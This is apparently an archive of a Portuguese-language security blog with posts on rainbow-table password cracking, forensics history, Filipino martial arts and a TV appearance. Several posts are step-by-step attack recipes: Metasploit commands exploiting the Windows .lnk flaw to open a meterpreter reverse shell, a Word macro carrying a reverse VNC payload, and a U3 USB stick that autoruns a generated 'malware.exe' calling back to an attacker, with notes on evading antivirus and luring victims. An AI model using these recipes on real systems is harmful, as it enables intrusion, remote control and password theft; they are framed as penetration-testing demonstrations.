11 de janeiro de 2011

Rainbow Crack e Rainbow Tables

RainbowCrack é um programa que gera rainbow tables para serem usadas na quebra de senhas. O RainbowCrack difere dos programas de força bruta convencionais, pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir drasticamente o tempo necessário para quebrar senhas.

Um ótimo programa para utilizarmos para quebrar senhas Windows com rainbow tables é o Ophcrack

#aptitude install ophcrack


Outro programa, que quebra inclusive hashs MD5, SHA1, SHA2 e etc, é o Cain (que roda em Windows).


RainbowCrack é uma ferramenta cujo objetivo é quebrar hash de senhas.

O método utilizado pela ferramenta é o brute force. Nesse método, todas as senhas em texto plano e seus hashs correspondentes são computados um por um. O hash computado é comparado com o hash alvo. Se um deles for igual, a senha em texto plano é encontrada. Do contrário, o processo continua até finalizar todas as senhas possíveis.

No método time-memory, a tarefa de computar hashs é feita através do armazenamento dos resultados no que chamamos de "rainbow table". Depois disso, os hashes podem ser acessados a partir das rainbow tables sempre que necessário. O processo pré-computacional precisa de muito tempo para criar as chaves que serão posteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado, a performance da rainbow tables pode ser de centenas a milhares de vezes maior do que o método de brute force.

Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software inclui três ferramentas que devem ser usadas em sequência para fazer a coisa funcionar:


  • Passo 1: usar o rtgen para gerar as rainbow tables.

  • Passo 2: usar o rtsort para organizar as rainbow tables geradas pelo rtgen.

  • Passo 3: usar o rcrack para buscar o conteúdo das rainbow tables organizadas pelo rtsort.

O processo de buscar o conteúdo no passo final, é equivalente ao processo de quebra de hash. E todas essas ferramentas são utilizadas através da linha de comando.

O programa rtgen precisa de diversos parâmetros para gerar uma rainbow table, e a sintaxe do comando é:

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index

Explicação dos parâmetros:


  • hash_algorithm

    O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado na rainbow table.

  • charset

    A configuração dos caracteres (charset) do texto plano na rainbow tables. Todos os charsets possíveis estão definidos no arquivo charset.txt.

  • plaintext_len_min

    plaintext_len_max


    Estes dois parâmetros definem o tamanho possível de todo o texto plano na rainbow tables. Se o charset é numérico, o plaintext_len_min é 1, e o plaintext_len_max é 5, então a string "12345" será incluída na tabela, mas "123456" não.

  • table_index

    chain_len

    chain_num

    part_index


    Estes quatro parâmetros são mais difíceis de explicar em poucas palavras. Ler e compreender o artigo original de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o significado exato.

    O table_index está relacionado ao "reduce function" que é utilizado na rainbow table.

    O chain_len é o tamanho de cada "rainbow chain" na rainbow table. Uma "rainbow chain" configurada como 16 bytes é a menor unidade em uma rainbow table. Uma rainbow tables contém diversas rainbow chains.

    O chains_num é o número de rainbow chains em uma rainbow table.

    O parâmetro part_index determina como o "start point" em cada rainbow chain é gerado. Deve ser um número (ou começar com um número).


Os valores corretos de todos os parâmetros dependem do que vocês precisa, e selecionar bons parâmetros requer um bom entendimento do algoritmo de time-memory tradeoff.

Uma configuração que funciona está logo abaixo, como um exemplo:


  • hash_algorithm

    lm, ntlm or md5

  • charset

    alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789] ou

    loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]

  • plaintext_len_min

    1

  • plaintext_len_max

    7

  • chain_len

    3800

  • chain_num

    33554432

  • key space

    36^1 + 36^2 + 36^3 + 36^4 + 36^5 + 36^6 + 36^7 = 80603140212

    Key space é o número de possíveis strings em texto plano para o charset, plaintext_len_min e plaintext_len_max selecionados.

  • table size

    3 GB

  • success rate

    0.999

    O algoritmo de time-memory tradeoff é um algoritmos probabilístico. Qualquer que seja os parâmetros selecionados, há sempre probabilidade de que as strings dentro do charset selecionado e o tamanho das strings não seja completamente coberto. A taxa de sucesso é de 99.9% com os parâmetros usados nesse evento.

    comandos para gerar as tabelas

  • Os comandos do rtgen usados para gerar as rainbow tables são:

  • rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0

    rtgen md5 loweralpha-numeric 1 7 1 3800 33554432 0

    rtgen md5 loweralpha-numeric 1 7 2 3800 33554432 0

    rtgen md5 loweralpha-numeric 1 7 3 3800 33554432 0

    rtgen md5 loweralpha-numeric 1 7 4 3800 33554432 0

    rtgen md5 loweralpha-numeric 1 7 5 3800 33554432 0

Se precisar criar uma tabela de hashes ntlm ou lm, substitua o "md5" nos comandos acima por "ntlm" ou "lm".

Se precisar de uma tabela com o charset alpha-numeric, substitua o "loweralpha-numeric" nos comandos acima por "alpha-numeric".

Se uma tabela com hashes lm for criada, tenha certeza de que seu charset seja alpha-numeric ao invés de loweralpha-numeric. O algoritmo lm nunca utiliza caracteres minúsculos como strings.

Agora é hora de criar uma rainbow table.

Altere o diretório corrente em seu terminal de comando para o diretório do RainbowCrack, e execute o comando seguinte:

# cd /pentest/passwords/rcrack

# rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0


Esse comando leva 4 horas para ser completado em um computador com um processador Core2 Duo E7300. É possível parar a execução do mesmo a qualquer momento pressionando Ctrl+C. Da próxima vez que o comando for executado com a mesma linha de comando, ele continuará a partir do ponto em que foi interrompido para continuar com a geração da tabela.

Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt" e tamanho de 512 MB será criado. O nome do mesmo é simplesmente a linha de comando utilizada com os parâmetros interligados, com a extensão "rt". O programa rcrack que será explicado mais a frente, precisa dessas informações para saber quais os parâmetros existentes na rainbow table. Portanto, não renomeie o arquivo.

As demais tabelas podem ser geradas da mesma forma, com os comandos:

# rtgen md5 loweralpha-numeric 1 7 1 3800 33554432 0

# rtgen md5 loweralpha-numeric 1 7 2 3800 33554432 0

# rtgen md5 loweralpha-numeric 1 7 3 3800 33554432 0

# rtgen md5 loweralpha-numeric 1 7 4 3800 33554432 0

# rtgen md5 loweralpha-numeric 1 7 5 3800 33554432 0


Finalmente, esses arquivos são gerados:

md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt 512MB

md5_loweralpha-numeric#1-7_1_3800x33554432_0.rt 512MB

md5_loweralpha-numeric#1-7_2_3800x33554432_0.rt 512MB

md5_loweralpha-numeric#1-7_3_3800x33554432_0.rt 512MB

md5_loweralpha-numeric#1-7_4_3800x33554432_0.rt 512MB

md5_loweralpha-numeric#1-7_5_3800x33554432_0.rt 512MB


Agora, o processo de criação da rainbow table está completo.

As rainbow tables geradas pelo programa rtgen precisam de um pós-processamento para tornar sua consulta mais fácil e rápida. O programa rtsort é utilizado para organizar todas as rainbow chains em uma rainbow table.

Utilize os seguintes comandos:

# rtsort md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt

# rtsort md5_loweralpha-numeric#1-7_1_3800x33554432_0.rt

# rtsort md5_loweralpha-numeric#1-7_2_3800x33554432_0.rt

# rtsort md5_loweralpha-numeric#1-7_3_3800x33554432_0.rt

# rtsort md5_loweralpha-numeric#1-7_4_3800x33554432_0.rt

# rtsort md5_loweralpha-numeric#1-7_5_3800x33554432_0.rt


Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execução. O programa rtsort gravará a rainbow table organizada por sobre o arquivo orginal. Não interrompa a execução do comando, do contrário o arquivo original será danificado.

Agora o processo de organização das rainbow tables está completo.

O programa rcrack é utilizado para acessar as rainbow tables. Ele aceita apenas rainbow tables organizadas.

Assumindo que as rainbow tables organizadas estejam no mesmo diretório do programa, para quebrar hashes únicos a linha de comando será:

# rcrack *.rt -h aqui_vai_o_hash_para_ser_quebrado


O primeiro parâmetro especifica o caminho para buscar nos arquivos das rainbow tables. Os caracteres "*" e "?" podem ser usados para especificar vários arquivos.

Normalmente isso leva algumas dezenas segundos para finalizar, se a string existir dentro do "range" do charset e tamanho de strings selecionados. Do contrário, leva-se muito mais tempo para buscar por todas as tabelas, apenas para não encontrar nada.

Para quebrar múltiplos hashs, coloque todos os hashs em um arquivo de texto, com um hash por linha. E então especifique o nome do arquivo na linha de comando do programa rcrack:

# rcrack *.rt -l arquivo_com_lista_de_hashes

Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um suporte especial para o parâmetro "-f". Um arquivo de dump de hash no formato pwdump é necessário como input para o programa rcrack. O conteúdo do arquivo parecerá com o seguinte:

Administrator:500:1c3a2b6d939a1021aad3b435b51404ee:e24106942bf38bcf57a6a4b29016eff6:::

Guest:501:a296c9e4267e9ba9aad3b435b51404ee:9d978dda95e5185bbeda9b3ae00f84b4:::


O arquivo pwdump é a saída de utilitários tais como pwdump2, pwdump3 ou outros. E contém os hashes tanto lm quant ntlm.

Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:

# rcrack *.rt -f arquivo_pwdump


O algoritmo de hash lm converte todas as letras minúsculas em strings maiúsculas; como resultado disso, todas as strings quebradas através do hashe lm, nunca contém letras minúscula, enquanto que a string original poed conter letras minúsculas. O programa rcrack tentará corrigir isso em hashes ntlm armazenados no mesmo arquivo e exibir a string original.

4 de janeiro de 2011

Forense Computacional - Conceitos Iniciais - Parte 1

Para compreendermos o que é a ciência forense, é interessante que saibamos um pouco de sua história, como surgiu e suas diversas utilizações ao longo dos períodos históricos.

História

No século 19, surge um dos primeiros pesquisadores, Francis Galton, que elabora um estudo complexo sobre as impressões digitais.

Tal estudo serve como base para as investigações que diferenciam um ser humano do outro, baseado em uma característica única que não se repete. O grande problema, é que após algumas décadas, descobriu-se que pelo menos 5% da população mundial não possui digitais, seja por problemas genéticos, seja por suas atividades profissionais que fazem com que as digitais de uma pessoa se desgaste com o tempo, tais como: professores(as), pedreiros, faxineiras(os) e pessoas que manipulam produtos químicos abrasivos.

Já no início do século 20, o cientista Leone Lattes descobre que os tipos sanguíneos podem ser divididos em grupos de acordo com características próprias. E a partir de sua pesquisa surgem os grupos A, B, AB e O. Isso auxilia na ciência forense quando há cenas de crimes envolvendo sangue, o que já permite diminuir a quantidade de suspeitos, puramente a partir de uma análise do tipo sanguíneo.

Também no início do século 20, Calvin Goddard desenvolve um estudo sobre a comparação entre projéteis de armas de fogo o que possibilita a detecção da arma que disparou o projétil existente em uma cena onde há a necessidade de uma análise forense. Esse estudo torna-se um marco para a solução de inúmeros casos julgados em um tribunal.

No mesmo período, Albert Osborn desenvolve uma pesquisa sobre as características e metodologias para análise de documentos, o que pode comprovar fraudes, falsificações e veracidade dos mesmos.

Outro cientista que nessa mesma época contribui com seus estudos para a área de forense é Hans Gross, que desenvolve o método científico para a realização de investigações criminalísticas.

E em 1932, no FBI, um laboratório foi organizado para prover serviços de análise forense a todos os agentes de campo e outras autoridades legais de todo os EUA.

Todos esses estudos, pesquisas e desenvolvimentos, se devem aos esforços de cientistas que atuavam na área da ciência forense ou não, mas que de alguma forma suas descobertas contribuíram para o avanço no trabalho dos profissionais de gerações posteriores.

Tanto que, mesmo após um século dos primeiros estudos, as bases e conceitos desenvolvidos por esses pioneiros continuam atuais e amplamente utilizadas ao longo de um processo de análise. A única diferença são os equipamentos utilizados.

No entanto, a maioria dos conceitos e métodos permanecem os mesmos.

Isso só começa a mudar com o advento da informática e o crescente nível de importância da informação no contexto da atualidade. Essas mudanças surgem, por conta de um novo paradigma, onde os crimes são realizados de uma outra maneira e as cenas não são mais aquelas tradicionais, com sangue, fios de cabelo e fluidos corporais. E as vítimas não são mais os corpos físicos dos denunciantes, mas suas identidades e vidas virtuais.

Definição. Uma excelente definição que pode esclarecer o que é a ciência forense é a que se segue, retirada do livro “Handbook of Forensic Pathology College of American Pathologists”, de 1990:

“Aplicação da ciência física à lei na busca pela verdade em assuntos civis, criminais e de comportamento social, com o fim de que nenhuma injustiça seja feita à nenhum membro da sociedade”.

E ainda podemos acrescentar que o objetivo básico da mesma é a determinação do valor das evidências relacionadas à cena de um crime.

No entanto, com o passar do tempo, as cenas de crime mudaram e os objetos relacionados ao mesmo deixaram de ser capuzes, armas de fogo, carros em disparada e projéteis recolhidos no local comprometido.

Os artefatos utilizados em um crime tornaram-se mais sofisticados e um criminoso não precisa mais sair do conforto de seu lar para causar milhões de prejuízos às suas vítimas. Não temos mais sangue envolvidos numa cena de um crime, apenas 0’s e 1’s, ou seja, bits.

21 de dezembro de 2010

Escrima

Eskrima , Escrima ou Escryma se refere a uma categoria de Artes Marciais Filipinas (do inglês Filipino Martial Arts - FMA) que priorizam o treino de luta com armas (principalmente bastão, espada e Faca), e também ensinam habilidades de luta à mão vazia, que são essenciais num combate em que seu oponente esteja armado e você desarmado. Outros termos também comumente utilizados para se referir a esta arte são Kali e Arnis de Mano (chicote com as mãos). Eskrima e Arnis estão entre os muitos termos utilizados nas Filipinas para se referir a esta arte.
Origem: Wikipedia

Sei que esse post é um pouco fora de contexto, mas decidi postá-lo mesmo assim. Essa é uma faceta do profissional de segurança que poucos conhecem, que além de tudo ainda é psicoterapeuta e instrutor de artes marciais ;-)

O trecho acima, retirado da wikipedia, é sobre uma das artes marciais da qual sou instrutor: Escrima, ou Eskrima. Além dessa, ainda sou instrutor de WingTsun, como alguns que me conhecem já sabem.

Hoje, portanto, gostaria de postar algumas fotos de um treino que ministrei no RJ, na Quinta da Boa Vista, de Escrima. Seguem abaixo:

3 de dezembro de 2010

Atacando máquinas Windows (XP, Vista, 7, 2003, 2008) através de um webserver falso

Essa exploração baseia-se na falha existente no Windows, em todas as suas versões, no que diz respeito a manipulação de arquivos .lnk. Essa falha, assim como seu exploit tornaram-se públicos no final de na segunda quinzena de julho/2010.


O mais interessante, é que após tornar pública a falha, e consequentem ente o exploit, que surgiu um dia depois da divulgação da falha por parte da Microsoft, a correção da mesma só foi sair quase um mês depois, deixando milhões de máquinas vulneráveis a esse simples, mas devastador ataque.


Vamos lá...


# ./msfconsole


O primeiro comando seleciona o exploit que será usado:


> use exploit/windows/browser/ms10_046_shortcut_icon_dllloader


Caso queiramos mais informações sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando:


> info


Esse comando exibirá, além da informações sobre a falha, as opções que precisamos configurar para o correto funcionamento do exploit. As opções obrigatórias são: SRVHOST, SRVPORT


Vamos configurá-las:


> set SRVHOST 192.168.0.83


Esse último comando, permitirá configurarmos o IP no qual o servidor web falso será montado para que a vítima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficará escutando, à espera de uma conexão:


> set SRVPORT 80


Havendo configurado a parte básica do exploit, precisamos configurar o que ele fará após explorar a falha no navegador da vítima, isso é, o payload:


> set PAYLOAD windows/meterpreter/reverse_tcp

> set LHOST 192.168.0.83

> set LPORT 4444


Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lançamos o exploit e aguardamos a vítima conectar em nosso servidor falso:


> exploit


Para conseguirmos que a vítima conecte, nada como um bom e velho ataque de engenharia social :-)


De forma mais ilustrativa, vocês podem assistir ao vídeo que gravei para minha apresentação da palestra sobre "Ferramentas Livres para Teste de Invasão", que ocorrei na 11ª edição do FISL, em julho/2010. O mais legal é que apresentei a falha no dia seguinte em que a mesma foi publicada, por isso verão que no vídeo o nome do exploit ainda não possui o nome final, que o que está no texto, por isso, sigam o que está no artigo:


6 de novembro de 2010

Metasploit com Microsoft Word

Para demonstrar as falhas de segurança dos usuários, um teste de conceito simples e eficaz que pode ser feito é incluir um payload do Metasploit dentro de um arquivo do Word.

Em três passos simples, vamos criar um payload no Metasploit como uma macro do Visual Basic, em seguida, vamos inserir a macro em um arquivo do Word e, finalmente, vai vamos deixar a máquina escutando à espera de uma conexão reversa que deve ser feita quando a vítima abrir o arquivo.



1. Gerar o Payload

Selecionamos como payload uma conexão reversa de VNC, que se conecta ao IP "10.10.10.10" na porta "443"

./msfpayload windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 V > payload.bas

Não é necessário que a vítima tenha instalado um servidor VNC, mas sim que o atacante tenha o vncviewer instalado. Se não, basta executar no terminal o comando:

#apt-get install vncviewer


2. Embutimos a macro

Temos que separar o arquivo payload.bas em duas partes que estão claramente divididos dentro do mesmo, de um lado o código de macro e do outro os dados do payload.

Primeiro, vá em "Ferramentas -> Macro -> Editor do Visual Basic". Em seguida vá em "Arquivo -> Importar Arquivo" e ali selecionamos o arquivo que dividimos previamente com o código da macro.


Linux: Metasploit com Microsoft Word

Se quisermos verificar se o código da macro foi carregado com êxito, vamos ao menu do lado esquerdo, e na pasta "Módulos" deve encontrar o "Módulo 1" com o nosso código. Ao dar duplo clique em "Módulo 1" o código aparece carregado.

Feche o "Editor do Visual Basic", e no final do conteúdo do Word, copiamos os dados do payload.


3. Ouvindo a Conexão Reversa

No final, deixamos nossa máquina ouvindo à espera da conexão reversa via VNC, que será criada quando a vítima abrir o arquivo do Word.

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 E

Se não queremos o Shell de boas vindas do Metasploit, que é um terminal DOS de cor azul, devemos agregar o seguinte parâmetro ao comando anterior:


"DisableCourtesyShell=True"

Para finalizar, em u ataque real ninguém vai utilizar o VNC como payload, porque obviamente a vítima perceberá que tomamos o controle de seu PC, mas por outro lado, é muito efetivo para realizar demonstrações práticas para a gerência de uma empresa ;-)

24 de outubro de 2010

1 - O Ataque

Em 4 passos simples iremos construir um pendrive USB U3, de modo que quando conectado a um PC, realize uma conexão reversa com o Meterpreter.

A idéia é gerar, com o Metasploit, um arquivo executável com um payload para gerar uma conexão reversa ao conectar o pendrive na USB do PC. Para gravar o payload dentro do U3, usaremos o programa Universal Customizer.

1. Gerar o payload com o Metasploit

Neste caso vamos criar um executável com uma conexão reversa do Meterpreter:

./msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 X > malware.exe


Obviamente que podemos utilizar qualquer payload, como também utilizar encoders para tornar mais difícil sua detecção por antivírus.

2. Criar nossa ISO

Uma vez que tenhamos baixado e descompactado o Universal Customizer (http://www.hak5.org/packages/files/Universal_Customizer.zip), copiamos o arquivo malware.exe para o diretório "U3CUSTOM" e criamos o arquivo "autorun.inf" com o seguinte conteúdo:


[AutoRun]

open=malware.exe


Após isso, executamos o "ISOCreate.cmd" e dentro do diretório "BIN" será criada nossa ISO com o nome "U3CUSTOM.ISO". Se não criarmos nossa ISO , o Universal Customizer utilizará a ISO "U3CUSTOM.ISO" que já vem dentro do pacote, com uma versão feita por Hacksaw.

3. Gravar a ISO

Iniciamos o Universal Customizer e vamos seguindo os passo:


Linux: Ataque USB U3 com Metasploit

Ao finalizar, retiramos o pendrive, e quando voltarmos a conectá-lo já teremos nosso payload sendo executado.

4. Aguardando a conexão reversa

Para finalizar, devemos deixar o meterpreter "escutando" à espera da conexão reversa que será feita pelo payload gravado no pendrive:


./msfconsole

use exploit/multi/handler

set PAYLAOD windows/meterpreter/reverse_tcp

set LHOST 1.1.1.1

set LPORT 443

set ExitOnSession false

exploit -j


Isso é tudo, que serve inclusive como uma prova de conceito para comprovar a segurança da máquina de um usuário.


LINKS RELACIONADOS:

http://www.infoseczen.com/?p=127

http://www.slideshare.net/seguinfo/sallis-usb-hacks

http://www.hak5.org/packages/files/Universal_Customizer.zip

20 de outubro de 2010

Série "Crime na Rede", na rede Record

Caros,

Dia 18/10 começou uma série chamada Crime na Rede na Record, e no segundo dia foi exibida uma reportagem onde falo rapidamente e uma de minhas aulas foi filmada, onde inclusive um aluno comenta sobre um caso de invasão no site de sua empresa.

Para quem quiser conferir, segue o link:

http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html

[ ]'s